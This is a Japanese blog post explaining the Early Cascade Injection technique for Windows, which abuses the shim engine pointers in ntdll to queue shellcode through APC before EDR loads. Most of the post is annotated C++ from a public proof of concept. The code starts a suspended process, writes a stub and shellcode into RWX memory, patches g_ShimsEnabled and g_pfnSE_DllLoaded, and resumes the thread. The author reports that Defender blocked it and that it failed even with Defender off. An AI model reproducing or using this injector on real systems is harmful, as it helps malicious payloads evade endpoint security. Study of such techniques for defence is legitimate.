#165 Early Cascade Injection
最近、新しいインジェクション手法が公開され、話題となっていました。その名もEarly Cascade Injection。Early Bird APC InjectionとEDR Preloadingを組み合わせて、よりステルスにインジェクションできたよという触れ込みでした。
概要
Early Bird APC Injection
Early Bird APC Injectionについては、こちらの記事で紹介しました。
プロセスが起動してEDRの監視が始まる前に、APCキューに攻撃コードを埋め込んでおくという手法です。当然、EDR側もAPCキューの監視を強めているので、ばれる可能性があります。
EDR Preloading
EDR Preloadingについても記事にしました。
EDRがロードされる前に実行される処理を悪用して、EDRを無効化するテクニックです。(あんまりよくわかってませんが)Loader Lockがあるため、任意のDLLが読み込めずなんでもできるわけではありません。
Early Cascade Injection
上記二つの手法をいいとこどりしているのがこれです。流れは以下のようになります。
SUSPENDED状態のプロセスを立ち上げる。
プロセスにスタブとペイロードを書き込む。
g_pfnSE_DllLoadedとg_ShimsEnabledを書き換える。
プロセスを実行する。
プロセスが実行されると、EDR-Preloadingでスタブが走って、APCキューにペイロードが載せられます。そののち、ペイロードが発火します。
PoC
公式のPoCはありませんが、ブログをもとに実装されたものがありました。/
これを紐解いてみようと思います。
このプログラムは、実行ファイルのパス(ダミープロセスを立ち上げるために使う)とシェルコードへのパスを渡して実行します。
// Main.cc
int main( int argc, char** argv ) {
BUFFER Payload = {};
if ( argc <= 2 ) {
printf( "[-] Not enough arguments\n" );
printf( "[*] Example: %s [process.exe] [shellcode.bin]\n", argv[ 0 ] );
return -1;
}
if ( !FileReadA( argv[ 2 ], &Payload.Buffer, &Payload.Length ) ) {
printf( "[-] Failed to read file %s", argv[ 2 ] );
return -1;
}
printf( "[*] Process: %s\n", argv[ 1 ] );
printf( "[*] Payload @ %p [%d bytes]\n", Payload.Buffer, Payload.Length );
CascadeInject( argv[ 1 ], &Payload, nullptr );
printf( "[*] Finished\n" );
return 0;
}
CascadeInject関数で、インジェクションが行われます。まず、リモートプロセスを起動します。
NTSTATUS CascadeInject(
_In_ PSTR Process,
_In_ PBUFFER Payload,
_In_ PBUFFER Context
) {
PROCESS_INFORMATION ProcessInfo = {};
STARTUPINFOA StartupInfo = {};
PVOID Memory = {};
ULONG Length = {};
ULONG Offset = {};
ULONG Status = {};
PVOID SecMrData = {};
PVOID SecData = {};
PVOID g_ShimsEnabled = {};
PVOID g_pfnSE_DllLoaded = {};
UINT_PTR g_Value = {};
if ( !Process || !Payload ) {
return STATUS_INVALID_PARAMETER;
}
//
// prepare and start a child process
// in a suspended state as our target
//
RtlSecureZeroMemory( &ProcessInfo, sizeof( ProcessInfo ) );
RtlSecureZeroMemory( &StartupInfo, sizeof( StartupInfo ) );
StartupInfo.cb = sizeof( StartupInfo );
if ( !CreateProcessA( nullptr, Process, nullptr, nullptr, FALSE, CREATE_SUSPENDED, nullptr, nullptr, &StartupInfo, &ProcessInfo)) {
printf( "[-] CreateProcessW Failed: %lx\n", GetLastError() );
Status = STATUS_UNSUCCESSFUL;
goto LEAVE;
}
起動したプロセスにペイロードを書き込むためのメモリを確保します。
//
// allocate memory in the remote process
//
Length = sizeof( cascade_stub_x64 ) + Payload->Length;
if ( Context ) {
Length += Context->Length;
}
if ( !( Memory = VirtualAllocEx( ProcessInfo.hProcess, nullptr, Length, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE ) ) ) {
printf( "[-] VirtualAllocEx Failed: %lx\n", GetLastError() );
Status = STATUS_UNSUCCESSFUL;
goto LEAVE;
}
続いて、g_ShimsEnabledとg_pfnSE_DllLoadedの位置を特定します。これは、アドレスのオフセットがハードコードされていますが、Windowsバージョンによっては違う可能性があります。
//
// resolve the g_ShimsEnabled and g_pfnSE_DllLoaded
// pointers in the current process which should reflect
// in the remote process as well (or not).
// Consider this a hacky solution lol.
//
SecMrData = MmPeSectionBase( GetModuleHandleA( "ntdll.dll" ), (PCHAR) ".mrdata" );
SecData = MmPeSectionBase( GetModuleHandleA( "ntdll.dll" ), (PCHAR) ".data" );
g_ShimsEnabled = C_PTR( U_PTR( SecData ) + 0x6cf0 );
g_pfnSE_DllLoaded = C_PTR( U_PTR( SecMrData ) + 0x270 );
printf( "[*] g_ShimsEnabled : %p\n", g_ShimsEnabled );
printf( "[*] g_pfnSE_DllLoaded: %p\n", g_pfnSE_DllLoaded );
シェルコードが実行されるように、スタブをセットアップします。cascade_stub_x64は、EDR-Preloadingで実行される処理(アセンブリ)で、NtQueueApcThreadを使ってAPCキューに任意の処理を追加します。
//
// update the stub and include the g_ShimsEnabled,
// MmPayload, MmContext and NtQueueApcThread pointers
//
g_Value = U_PTR( Memory ) + sizeof( cascade_stub_x64 );
memcpy( &cascade_stub_x64[ 16 ], &g_Value, sizeof( PVOID ) );
memcpy( &cascade_stub_x64[ 25 ], &g_ShimsEnabled, sizeof( PVOID ) );
g_Value = U_PTR( Memory ) + sizeof( cascade_stub_x64 ) + Payload->Length;
if ( !Context ) {
g_Value = 0;
}
memcpy( &cascade_stub_x64[ 35 ], &g_Value, sizeof( PVOID ) );
g_Value = U_PTR( GetProcAddress( GetModuleHandleA( "ntdll.dll" ), "NtQueueApcThread" ) );
memcpy( &cascade_stub_x64[ 49 ], &g_Value, sizeof( PVOID ) );
リモートプロセスのメモリに、スタブとシェルコードを書き込みます。
//
// write stub, payload and context into the allocated memory
//
if ( !WriteProcessMemory( ProcessInfo.hProcess, C_PTR( U_PTR( Memory ) + Offset ), cascade_stub_x64, sizeof( cascade_stub_x64 ), nullptr ) ) {
printf("[-] WriteProcessMemory Failed: %lx\n", GetLastError());
Status = STATUS_UNSUCCESSFUL;
goto LEAVE;
}
Offset += sizeof( cascade_stub_x64 );
if ( !WriteProcessMemory( ProcessInfo.hProcess, C_PTR( U_PTR( Memory ) + Offset ), Payload->Buffer, Payload->Length, nullptr ) ) {
printf("[-] WriteProcessMemory Failed: %lx\n", GetLastError());
Status = STATUS_UNSUCCESSFUL;
goto LEAVE;
}
if ( Context ) {
//
// if specified a context then write the context
// into the remote process memory as well
//
Offset += Payload->Length;
if ( !WriteProcessMemory( ProcessInfo.hProcess, C_PTR( U_PTR( Memory ) + Offset ), Context->Buffer, Context->Length, nullptr ) ) {
printf("[-] WriteProcessMemory Failed: %lx\n", GetLastError());
Status = STATUS_UNSUCCESSFUL;
goto LEAVE;
}
}
g_ShimsEnabledとg_pfnSE_DllLoadedを書き換えます。そして最後に、プロセスを起動します。
//
// patch the remote process pointers and enable the shim engine
//
g_Value = TRUE;
if ( !WriteProcessMemory( ProcessInfo.hProcess, g_ShimsEnabled, &g_Value, sizeof( BYTE ), nullptr ) ) {
printf( "[-] WriteProcessMemory Failed: %lx\n", GetLastError() );
Status = STATUS_UNSUCCESSFUL;
goto LEAVE;
}
g_Value = U_PTR( SysEncodeFnPointer( Memory ) );
if ( !WriteProcessMemory( ProcessInfo.hProcess, g_pfnSE_DllLoaded, &g_Value, sizeof( PVOID ), nullptr ) ) {
printf( "[-] WriteProcessMemory Failed: %lx\n", GetLastError() );
Status = STATUS_UNSUCCESSFUL;
goto LEAVE;
}
if ( !ResumeThread( ProcessInfo.hThread ) ) {
printf( "[-] ResumeThread Failed: %ld\n", GetLastError() );
Status = STATUS_UNSUCCESSFUL;
goto LEAVE;
};
Status = STATUS_SUCCESS;
検証
実際にツールを動かしてみたところ、Windows Defenderにブロックされました。公開されているツールはすでに対策されているようですね。実行時に検知されたので、ヒューリスティックな検知だと思います。g_ShimsEnabledを書き換えるようなところは結構あやしまれそうですし、仕方ないかもしれません。
Windows11とWindows10、Defenderをオフにして再度試してみましたが、インジェクションに失敗しているようでした。やはり、ちょっと調整が必要そうです。本腰入れてデバッグしないとだめそうなので、また今度….
EOF